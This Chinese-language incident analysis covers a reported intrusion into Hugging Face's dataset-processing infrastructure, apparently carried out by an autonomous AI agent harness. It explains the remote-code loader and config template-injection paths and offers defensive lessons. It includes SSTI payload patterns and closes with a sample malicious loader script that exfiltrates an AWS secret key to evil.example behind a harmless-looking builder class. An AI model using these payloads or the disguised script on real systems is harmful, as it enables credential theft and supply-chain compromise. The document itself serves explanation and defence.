【案例分析】Hugging Face生产基础设施入侵攻击分析

发布时间:2026/7/22 14:21:52
【案例分析】Hugging Face生产基础设施入侵攻击分析 一、事件定位官方原话攻击者上传了一个恶意数据集malicious dataset滥用了两条代码执行路径“a remote-code dataset loaderanda template-injection in a dataset configuration, to run code on a processing worker”然后在处理 Worker 上执行代码 → 升级到节点级node-level权限 → 收割云与集群凭据 → 周末期间横向移动到多个内部集群。整个过程由一套自主 AI Agent harness驱动用了成千上万次操作、跑在大量短生命周期沙盒里C2 自迁移到公共服务上。官方确认公共模型/数据集/Spaces 未被篡改受影响凭据已全部轮换、受损节点已重建、两条代码执行路径已关闭。二、攻击链具体怎么实现的攻击者 └─ 上传恶意数据集到 HF Hub仓库里同时埋了两颗雷 ├─ 雷A自定义加载脚本remote-code loader └─ 雷B精心构造的数据集配置template injection │ ▼ HF 后端处理 Workerdatasets-server / 数据集预览构建器 自动处理新数据集 → 以 trust_remote_code 加载 渲染配置 │ 两条路径任一命中即 RCE ▼ 在 Worker 进程内拿到代码执行 │ ▼ Worker 带着节点权限运行 → 读环境变量 / 云元数据服务(IMDS) / kubeconfig / 集群 SA token │ ▼ 收割云凭据 集群凭据 → 容器逃逸/节点提权 → 周末横向移动多个内部集群关键点是不是某个文件有 bug而是可执行 Loader 配置模板 高权限处理 Worker被放在了同一条信任链上。AI 只是把既有边界缺陷以更高速度放大了。三、分析远程代码加载器权限验证机制这是个常见误解。准确说法是库层面有gate但这次破的是信任边界。1对用户/调用方是有权限开关的datasets库的load_dataset()默认拒绝执行仓库里的自定义脚本。你必须在代码里显式写from datasets import load_dataset ds load_dataset(attacker/evil-dataset, trust_remote_codeTrue) # ← 这个开关不加trust_remote_codeTrue库会直接抛ValueError: The repository contains custom code which must be executed...。这个安全门是 2022 年后才加的。所以不需要权限是错的——调用方必须主动说我信这个仓库的代码。2真正的破绽在 HF 自己的基础设施HF后端为了给每个数据集自动生成预览/构建viewer会自动用trust_remote_code去加载并处理第三方上传的数据集。也就是说平台自己把信任授予了每一个上传的数据集而且是在高权限的处理 Worker上跑不是隔离的沙箱攻击者不需要骗某个具体用户去点trust_remote_code只要上传数据集HF 的流水线就替他点了。3对用户侧的不需要权限的另一层含义即便你是普通用户、自己写了trust_remote_codeTrue这个开关也没有任何沙箱/审查——一旦打开仓库里的任何 Python 代码都以你的完整进程权限运行。它只是你知情同意的免责声明不是操作系统层面的权限校验。这就是典型的供应链 RCE你信任的不是一个数据集而是仓库作者能执行的任意代码。四、配置模板注入template injection的原理官方确认的是 “a template-injectionin a dataset configuration”——即注入点发生在数据集的配置/元数据里而不是加载脚本。原理是标准的SSTI服务端模板注入/ 格式化字符串注入通用原理当应用把用户可控的输入当作模板去渲染/求值而不是当作纯数据时用户就能嵌入模板表达式让引擎替他执行代码。Jinja2 类{{ .__class__.__mro__[1].__subclasses__() }}→ 顺着 Python 对象链摸到os/subprocess→ RCEstr.format类{0.__init__.__globals__[os].system(...)}→ 同样可达危险对象Shell/命令拼接类配置值里带;、$()、|等被拼进命令行执行。映射到 HF 数据集配置数据集仓库有一套配置/元数据README.md的 YAML 头、dataset_infos.json、config 名称等。HF 后端处理流水线读取这些配置并在某一步把配置里的值通过模板/格式化渲染例如用来拼加载命令、构造 viewer 查询、或渲染页面。如果某个配置字段如 config 名、描述、路径里被塞了模板表达式且后端没有把它当纯字符串处理那个表达式就在 Worker 上被求值 → 代码/命令执行。为什么它是第二条独立路径它和 remote-code loader 是两个互不依赖的 RCE 入口。封堵其中一条不够必须两条都关HF 通报里说the dataset code-execution paths used for initial access are closed用的是复数 paths。⚠️ 注HF 至今未公开具体是哪个配置字段、用的是什么模板引擎Jinja2 /.format/ 其他。上面是原理层的标准解释 对事件结构的对齐不是官方披露的实现细节。五、这次事件给的防御启示5.1 处理不可信内容必须沙箱化任何自动执行第三方数据集/模型代码的后端都该在受限沙箱无云凭据、无内部网络、短生命周期里跑。5.2 最小权限 凭据隔离处理 Worker 不该能读到云 IMDS、kubeconfig、集群 SA token。云凭据应走短期令牌 实例角色 IMDSv2 防护不让 Worker 直接拿长驻凭据。5.3 集群间网络隔离横向移动能跨多个内部集群说明东西向网络没做够隔离。5.4 两条路径都要关remote-code 默认关、配置渲染严格当数据不求值。顺带一个事件花絮非技术问题HF 的 IR 团队最初想用某美国商业前沿大模型 API 分析 1.7 万条攻击日志结果该模型因安全策略拒答把事件响应误判成攻击他们改在自己的基础设施上部署开源的GLM 5.2几小时内完成了取证。补充一 datasets源码级加载流程加载器本身是有权限限制的。datasets 在 resolve_trust_remote_code() 里会检查——只要仓库带了自定义脚本且没设定 trust_remote_codeTrue直接 raise ValueError绝不执行。但这道门本质是知情同意开关不是沙箱。一旦把它设成 True脚本就在调用进程的完整权限下运行且执行发生在 import 那一刻——甚至在你调用 .as_dataset() 之前。所以HF 这次失守不是门没了而是它的后端流水线对每一个第三方数据集自动把门打开且跑在高权限 Worker 上。load_dataset(org/evil, trust_remote_code...) # ① 入口 │ ▼ get_dataset_builder(...) # ② 选工厂 │ 仓库带加载脚本 → HubDatasetModuleFactoryWithScript ▼ HubDatasetModuleFactoryWithScript.get_module() # ③ 装配模块 ├─ resolve_trust_remote_code(trust_remote_code, ...) # [门控] 无 True 则 raise ├─ init_dynamic_modules(...) # 建临时可导入包不污染 site-packages ├─ hf_hub_download(repo_id, filenamescript, # 从 Hub 下载脚本到本地缓存 │ repo_typedataset, revision...) ├─ _get_importable_file_path / _create_importable_file # 把脚本写进动态模块目录 │ get_imports(...) # 重写脚本内部 import 使其可解析 └─ return DatasetModule(module_path动态导入路径, hash文件哈希, builder_kwargs...) │ ▼ get_dataset_builder_class(dataset_module) │ ▼ import_main_class(module_path) # ④ 导入 执行关键 └─ importlib.import_module(module_path) ← 运行脚本【顶层全部代码】 │ 扫出 DatasetBuilder 子类返回 ▼ builder builder_cls(cache_dir..., **builder_kwargs) # ⑤ 实例化 builder.download_and_prepare(...) # ⑥ 生成第二批执行点 ├─ _split_generators(download_manager) # 列数据文件 └─ _generate_examples(**split_args) ← 运行脚本【函数体代码】 │ ▼ return Dataset / DatasetDict其中import_main_class就是导入即执行的命门def import_main_class(module_path) - Optional[type[DatasetBuilder]]: Import a module at module_path and return its main class: a DatasetBuilder module importlib.import_module(module_path) # ← 这一行就执行了脚本顶层所有代码 # Find the main class in our imported module module_main_cls None for name, obj in module.__dict__.items(): if inspect.isclass(obj) and issubclass(obj, DatasetBuilder): if inspect.isabstract(obj): continue module_main_cls obj ... return module_main_cls所以攻击者的恶意逻辑写在脚本顶层import的瞬间就已经跑起来了。另一条路配置模板注入对应抓的create_builder_configs_from_metadata_configsdef create_builder_configs_from_metadata_configs(module_path, metadata_configs, ...): builder_cls import_main_class(module_path) ... for config_name, config_params in metadata_configs.items(): # ← README.md 的 configs YAML ... builder_configs.append(builder_config_cls(nameconfig_name, data_files..., **{...}))它把数据集README.md的 YAMLconfigs字段解析成BuilderConfig。这就解释了为什么配置也能成为第二执行路径HF 后端在渲染/使用这些 config 值时若经由模板/格式化求值控制 config 的人就能注入表达式无需加载脚本、无需trust_remote_code。这也是官方说两条独立路径、必须都关的原因。一个最小恶意脚本仅用于理解importRCE# evil_dataset.py —— 作为数据集仓库的加载脚本上传 import os, subprocess # ↓↓↓ 顶层代码import 这一刻就执行 ↓↓↓ subprocess.run( [curl, -s, https://evil.example/exfil?k os.environ.get(AWS_SECRET_ACCESS_KEY, )], shellFalse, ) from datasets import DatasetBuilder class EvilDatasetBuilder(DatasetBuilder): def _generate_examples(self, **kw): yield 0, {x: 1} # 真正的数据逻辑可以是无害的掩护